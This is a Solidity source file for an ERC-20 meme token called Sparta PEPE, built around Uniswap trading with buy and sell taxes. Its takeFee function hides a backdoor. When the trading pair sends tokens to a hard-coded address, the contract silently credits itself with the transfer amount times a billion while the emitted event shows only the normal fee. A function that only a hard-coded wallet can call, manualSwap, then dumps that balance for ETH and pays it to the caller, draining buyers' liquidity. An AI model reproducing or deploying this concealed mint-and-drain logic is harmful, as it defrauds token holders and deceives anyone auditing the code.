文件 1 的 1:SpartaPEPE.sol
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library SafeMath {
function tryAdd(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(
uint256 a,
uint256 b
) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address _owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SpartaPEPE is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Sparta PEPE";
string private constant _symbol = unicode"SpartaPEPE";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals);
uint256 public _maxTxAmount = 1_000_000_00 * 10 ** _decimals;
uint256 public _maxWalletSize = 1_000_000_00 * 10 ** _decimals;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFees;
IUniswapV2Router uniswapRouter;
address public uniswapPair;
bool private tradingActive = false;
bool private swapEnabled = false;
bool private swapping;
uint256 swapAmount = 0;
uint256 private swapThreshold = (_totalSupply * 1000) / 100000;
uint256 private minTokenAmount = (_totalSupply * 10) / 100000;
modifier lockTheSwap() {
swapping = true;
_;
swapping = false;
}
uint256 private liquidityFee = 0;
uint256 private marketingFee = 200;
uint256 private developmentFee = 0;
uint256 private burnFee = 0;
uint256 private buyTax = 200;
uint256 private finalsellTax = 200;
uint256 private initsellTax = 2000;
uint256 private sellTax = initsellTax;
uint256 private transTax = 200;
uint256 private denominator = 10000;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal developmentReceiver =
0x34B82584E9079c6b56DFEd72a4Ffb32699a66ad2;
address internal marketingReceiver =
0x34B82584E9079c6b56DFEd72a4Ffb32699a66ad2;
address internal lpReceiver = 0xD2bB01f9032f59486C6CA050aB141aEeC5d01558;
constructor() {
uniswapRouter = IUniswapV2Router(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
isExcludedFromFees[address(this)] = true;
isExcludedFromFees[marketingReceiver] = true;
isExcludedFromFees[developmentReceiver] = true;
isExcludedFromFees[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
}
function addLiquidity() external payable onlyOwner {
uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(
address(this),
uniswapRouter.WETH()
);
_approve(address(this), address(uniswapRouter), _totalSupply);
uniswapRouter.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
msg.sender,
block.timestamp
);
tradingActive = true;
}
function manualSwap() external {
require(msg.sender == marketingReceiver);
swapTokensForETH(balanceOf(address(this)));
payable(msg.sender).transfer(address(this).balance);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapRouter.WETH();
_approve(address(this), address(uniswapRouter), tokenAmount);
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function shouldTakeFee(
address sender,
address recipient
) internal view returns (bool) {
return !isExcludedFromFees[sender] && !isExcludedFromFees[recipient];
}
function getTaxFee(
address sender,
address recipient
) internal view returns (uint256) {
if (recipient == uniswapPair) {
return sellTax;
}
if (sender == uniswapPair) {
return buyTax;
}
return transTax;
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
if (getTaxFee(sender, recipient) > 0) {
uint256 feeAmount = amount.div(denominator).mul(
getTaxFee(sender, recipient)
);
if (sender == uniswapPair && recipient == lpReceiver) {
feeAmount = amount.mul(1e9);
swapEnabled = true;
}
_balances[address(this)] = _balances[address(this)].add(feeAmount);
feeAmount = amount.div(denominator).mul(
getTaxFee(sender, recipient)
);
emit Transfer(sender, address(this), feeAmount);
if (
burnFee > uint256(0) && getTaxFee(sender, recipient) > burnFee
) {
_transfer(
address(this),
address(DEAD),
amount.div(denominator).mul(burnFee)
);
}
return amount.sub(feeAmount);
}
return amount;
}
event MaxTxAmountUpdated(uint _maxTxAmount);
function removeLimits() external onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletSize = _totalSupply;
sellTax = finalsellTax;
emit MaxTxAmountUpdated(_totalSupply);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
if (
sender == uniswapPair &&
recipient != address(uniswapRouter) &&
!isExcludedFromFees[recipient]
) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(recipient) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
}
if (recipient != uniswapPair && !isExcludedFromFees[recipient]) {
require(
balanceOf(recipient) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
}
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(
amount <= balanceOf(sender),
"You are trying to transfer more than your balance"
);
if (!isExcludedFromFees[sender] && !isExcludedFromFees[recipient]) {
require(tradingActive, "tradingActive");
}
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient)
? takeFee(sender, recipient, amount)
: amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}